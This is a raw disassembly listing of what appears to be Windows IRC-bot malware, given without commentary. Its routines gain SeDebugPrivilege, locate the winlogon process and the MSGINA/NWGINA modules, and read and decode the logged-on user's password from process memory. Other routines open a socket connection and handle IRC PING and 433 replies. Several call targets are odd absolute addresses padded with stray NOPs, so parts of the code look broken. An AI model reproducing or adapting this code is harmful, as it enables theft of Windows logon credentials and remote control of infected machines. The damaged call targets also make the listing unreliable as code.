		dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
		dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
		dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
		dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
		dd 20068FFh, 0E8500000h, 4C60h,	3910C483h, 2075F85Dh, 64858D53h
		dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
		dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
		dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
		dd 5Dh,	5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
		dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h,	50F475FFh
		dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
		dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
		dd 535959FFh, 923AE890h, 5E5F022Dh, 0EC8B555Bh,	54CEC81h
		dd 56530000h, 104BE57h,	75FF0000h, 0B8858D18h, 68FFFFFDh
		dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
		dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
		dd 0C8BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
		dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
		dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
		dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
		dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
		dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 94C8E890h, 0C0850235h
		dd 75FF8F75h, 9172E8FCh, 0FF900234h, 858D1475h,	0FFFFFDB8h
		dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h,	0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
		dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
		dd 2006800h, 0E8500000h, 4AA0h,	858D016Ah, 0FFFFFAB4h
		dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh,	858D28C4h
		dd 0FFFFFEBCh, 0E8905650h, 2359442h, 0B175C085h, 0EDE89056h
		dd 8B023490h, 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381F8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26C0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44CC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44C0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46D0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44C8, eax
		call	esi
		mov	dword_4D44C4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34C0
		push	edi
		push	ebx
		push	offset off_438134
		call	esi
		push	edi
		mov	edi, offset dword_4D3CC0
		push	edi
		push	offset off_43811C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46D8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46D8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4380C0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438088
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset unk_43805C


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27A03ABh
		nop
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset unk_438028


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44CC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44CC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44C0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46D0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44C8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44C8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26902B8h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 27D0297h
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27C0B71h
		nop
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi
		push	offset dword_4D34C0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CC0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2770000h
		nop
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 27607D6h
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46E4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46DC, eax
		mov	dword_4D46E0, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2670894h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 26902B8h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27D0297h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0B71h
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	short loc_4174E6
		push	offset dword_4D34C0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset dword_4D3CC0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27B0000h
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		call	near ptr 2670894h
		nop


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46DC, ebx
		mov	dword_4D46E0, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 2670894h
		nop
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46D8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ecx, dword_4D46D8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46E0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46E4
		push	eax
		call	dword_4D44C4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44D0
		push	offset dword_4D34C0
		push	offset dword_4D3CC0
		push	[ebp+arg_0]
		push	offset dword_438244
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46D8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27C0AD1h
		nop
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CC0
		mov	edi, 200h
		mov	esi, offset dword_4D32C0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46D8
		add	eax, eax
		push	eax
		push	dword_4D46E0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44C4
		mov	eax, dword_4D46D8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+var_14]
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438244
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438294
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27C0AD1h
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6EC


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A0A4 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46EC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB6A4


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset dword_4DAE0C
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D128 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
					; sub_4177D0+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417838
		push	offset dword_438EA4
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi
		push	offset dword_438EA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E94


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
